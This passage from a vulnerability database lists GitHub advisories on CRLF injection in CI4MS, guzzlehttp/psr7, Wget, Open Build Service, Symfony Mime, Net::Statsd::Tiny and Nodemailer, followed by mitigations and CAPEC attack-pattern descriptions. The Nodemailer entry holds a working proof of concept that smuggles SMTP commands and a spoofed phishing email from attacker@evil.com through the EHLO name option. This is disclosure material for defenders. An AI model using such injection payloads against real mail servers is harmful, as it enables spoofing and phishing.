"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39394"
},
{
"type": "PACKAGE",
"url": "https://github.com/ci4-cms-erp/ci4ms"
},
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller"
}
GHSA-VM85-HXW5-5432
Vulnerability from github – Published: 2026-06-19 14:35 – Updated: 2026-06-19 14:35Impact
guzzlehttp/psr7 did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with Message::toString() or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through Message::parseRequest() or Message::parseResponse() when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.
Creating or modifying a Request, Response, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by guzzlehttp/guzzle; applications using guzzlehttp/psr7 only through Guzzle's standard HTTP client APIs are not expected to be affected.
Applications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.
Patches
The issue is patched in 2.12.1 and later. Starting in that release, guzzlehttp/psr7 rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.
Workarounds
If you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.
Applications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling Message::parseRequest() or Message::parseResponse(), avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic $_SERVER values, validate REQUEST_METHOD and SERVER_PROTOCOL before calling ServerRequest::fromGlobals().
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/psr7"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55766"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:35:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\n`guzzlehttp/psr7` did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with `Message::toString()` or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through `Message::parseRequest()` or `Message::parseResponse()` when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.\n\nCreating or modifying a `Request`, `Response`, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by `guzzlehttp/guzzle`; applications using `guzzlehttp/psr7` only through Guzzle\u0027s standard HTTP client APIs are not expected to be affected.\n\nApplications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.\n\n### Patches\n\nThe issue is patched in `2.12.1` and later. Starting in that release, `guzzlehttp/psr7` rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.\n\n### Workarounds\n\nIf you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.\n\nApplications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling `Message::parseRequest()` or `Message::parseResponse()`, avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic `$_SERVER` values, validate `REQUEST_METHOD` and `SERVER_PROTOCOL` before calling `ServerRequest::fromGlobals()`.",
"id": "GHSA-vm85-hxw5-5432",
"modified": "2026-06-19T14:35:57Z",
"published": "2026-06-19T14:35:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/psr7/security/advisories/GHSA-vm85-hxw5-5432"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/psr7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization"
}
GHSA-VMW7-MXGC-C8QM
Vulnerability from github – Published: 2022-05-17 02:36 – Updated: 2022-05-17 02:36CRLF injection vulnerability in the url_parse function in url.c in Wget through 1.19.1 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the host subcomponent of a URL.
{
"affected": [],
"aliases": [
"CVE-2017-6508"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-07T08:59:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in the url_parse function in url.c in Wget through 1.19.1 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the host subcomponent of a URL.",
"id": "GHSA-vmw7-mxgc-c8qm",
"modified": "2022-05-17T02:36:23Z",
"published": "2022-05-17T02:36:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6508"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201706-16"
},
{
"type": "WEB",
"url": "http://git.savannah.gnu.org/cgit/wget.git/commit/?id=4d729e322fae359a1aefaafec1144764a54e8ad4"
},
{
"type": "WEB",
"url": "http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96877"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VP32-RG8F-2JXG
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.
{
"affected": [],
"aliases": [
"CVE-2018-12477"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-09T13:29:00Z",
"severity": "HIGH"
},
"details": "A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.",
"id": "GHSA-vp32-rg8f-2jxg",
"modified": "2022-05-13T01:34:46Z",
"published": "2022-05-13T01:34:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12477"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1108189"
},
{
"type": "WEB",
"url": "https://lwn.net/Articles/766535"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VQC8-7275-Q272
Vulnerability from github – Published: 2026-05-27 21:09 – Updated: 2026-05-27 21:09Description
Symfony\Component\Mime\Header\ParameterizedHeader (and the related parameter handling reachable from Symfony\Component\Mime\Header\Headers) is responsible for serializing structured headers such as Content-Type and Content-Disposition, which carry key=value parameters (e.g. Content-Disposition: attachment; filename="x").
RFC 2045 / RFC 5322 require parameter names to be tokens: a restricted ASCII subset that excludes whitespace, CR/LF, and the tspecials set. Symfony's parameter handling validates and properly encodes parameter values, but does not validate parameter names: the supplied name is emitted verbatim into the serialized header.
A caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a Content-Disposition parameter name, can include \r\n or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.
Resolution
ParameterizedHeader now rejects parameter names that contain bytes outside the RFC token character class.
The patch for this issue is available here for branch 5.4.
Credits
Symfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mime"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.4.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mime"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mime"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.4.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45070"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T21:09:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Description\n\n`Symfony\\Component\\Mime\\Header\\ParameterizedHeader` (and the related parameter handling reachable from `Symfony\\Component\\Mime\\Header\\Headers`) is responsible for serializing structured headers such as `Content-Type` and `Content-Disposition`, which carry `key=value` parameters (e.g. `Content-Disposition: attachment; filename=\"x\"`).\n\nRFC 2045 / RFC 5322 require parameter *names* to be `tokens`: a restricted ASCII subset that excludes whitespace, CR/LF, and the `tspecials` set. Symfony\u0027s parameter handling validates and properly encodes parameter *values*, but does not validate parameter *names*: the supplied name is emitted verbatim into the serialized header.\n\nA caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a `Content-Disposition` parameter name, can include `\\r\\n` or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.\n\n### Resolution\n\n`ParameterizedHeader` now rejects parameter names that contain bytes outside the RFC `token` character class.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/e62ea217f8b4ca8ae922ad0f949e0c4dc1f9b613) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.",
"id": "GHSA-vqc8-7275-q272",
"modified": "2026-05-27T21:09:12Z",
"published": "2026-05-27T21:09:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-vqc8-7275-q272"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2026-45070.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45070.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/symfony/symfony"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2026-45070"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names"
}
GHSA-VQFG-JWCG-58WW
Vulnerability from github – Published: 2026-05-17 18:30 – Updated: 2026-05-18 15:30Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.
The metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.
{
"affected": [],
"aliases": [
"CVE-2026-46720"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-17T18:16:27Z",
"severity": "HIGH"
},
"details": "Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.\n\nThe metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.",
"id": "GHSA-vqfg-jwcg-58ww",
"modified": "2026-05-18T15:30:37Z",
"published": "2026-05-17T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46720"
},
{
"type": "WEB",
"url": "https://github.com/robrwo/Net-Statsd-Tiny/commit/06f814f52fbcc0b2afddf7a2d6f8137fd3cede13.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/RRWO/Net-Statsd-Tiny-v0.3.8/changes"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VVJJ-XCJG-GR5G
Vulnerability from github – Published: 2026-04-08 15:05 – Updated: 2026-04-08 15:05Summary
Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.
Details
The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:
// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();
// line 1336
this._sendCommand('EHLO ' + this.name);
The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):
this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));
If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.
This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.
The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.
PoC
const nodemailer = require('nodemailer');
const net = require('net');
// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
socket.write('220 test ESMTP\r\n');
socket.on('data', data => {
const lines = data.toString().split('\r\n').filter(l => l);
lines.forEach(line => {
console.log('SMTP CMD:', line);
if (line.startsWith('EHLO') || line.startsWith('HELO'))
socket.write('250 OK\r\n');
else if (line.startsWith('MAIL FROM'))
socket.write('250 OK\r\n');
else if (line.startsWith('RCPT TO'))
socket.write('250 OK\r\n');
else if (line === 'DATA')
socket.write('354 Go\r\n');
else if (line === '.')
socket.write('250 OK\r\n');
else if (line === 'QUIT')
{ socket.write('221 Bye\r\n'); socket.end(); }
else if (line === 'RSET')
socket.write('250 OK\r\n');
});
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// Inject a complete phishing email via EHLO name
const transport = nodemailer.createTransport({
host: '127.0.0.1',
port: port,
secure: false,
name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
+ 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
+ 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
+ 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
});
transport.sendMail({
from: 'legit@example.com',
to: 'legit-recipient@example.com',
subject: 'Normal email',
text: 'Normal content'
}, () => { server.close(); process.exit(0); });
});
Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.
Impact
Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:
- Multi-tenant SaaS platforms with per-tenant SMTP configuration
- Admin panels where SMTP hostname/name settings are stored in databases
- Applications loading SMTP config from environment variables or external sources
What can an attacker do: 1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands 2. Spoof email senders by injecting arbitrary From headers in the DATA portion 3. Conduct phishing attacks using the legitimate SMTP server as a relay 4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO 5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN
The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.
Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:
this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.4"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T15:05:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand(\u0027EHLO \u0027 + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + \u0027\\r\\n\u0027, \u0027utf-8\u0027));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst net = require(\u0027net\u0027);\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n socket.write(\u0027220 test ESMTP\\r\\n\u0027);\n socket.on(\u0027data\u0027, data =\u003e {\n const lines = data.toString().split(\u0027\\r\\n\u0027).filter(l =\u003e l);\n lines.forEach(line =\u003e {\n console.log(\u0027SMTP CMD:\u0027, line);\n if (line.startsWith(\u0027EHLO\u0027) || line.startsWith(\u0027HELO\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027MAIL FROM\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027RCPT TO\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line === \u0027DATA\u0027)\n socket.write(\u0027354 Go\\r\\n\u0027);\n else if (line === \u0027.\u0027)\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line === \u0027QUIT\u0027)\n { socket.write(\u0027221 Bye\\r\\n\u0027); socket.end(); }\n else if (line === \u0027RSET\u0027)\n socket.write(\u0027250 OK\\r\\n\u0027);\n });\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const port = server.address().port;\n\n // Inject a complete phishing email via EHLO name\n const transport = nodemailer.createTransport({\n host: \u0027127.0.0.1\u0027,\n port: port,\n secure: false,\n name: \u0027legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n\u0027\n + \u0027RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n\u0027\n + \u0027From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n\u0027\n + \u0027Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET\u0027\n });\n\n transport.sendMail({\n from: \u0027legit@example.com\u0027,\n to: \u0027legit-recipient@example.com\u0027,\n subject: \u0027Normal email\u0027,\n text: \u0027Normal content\u0027\n }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application\u0027s intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server\u0027s trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, \u0027\u0027);\n```",
"id": "GHSA-vvjj-xcjg-gr5g",
"modified": "2026-04-08T15:05:20Z",
"published": "2026-04-08T15:05:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
}
Mitigation
Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.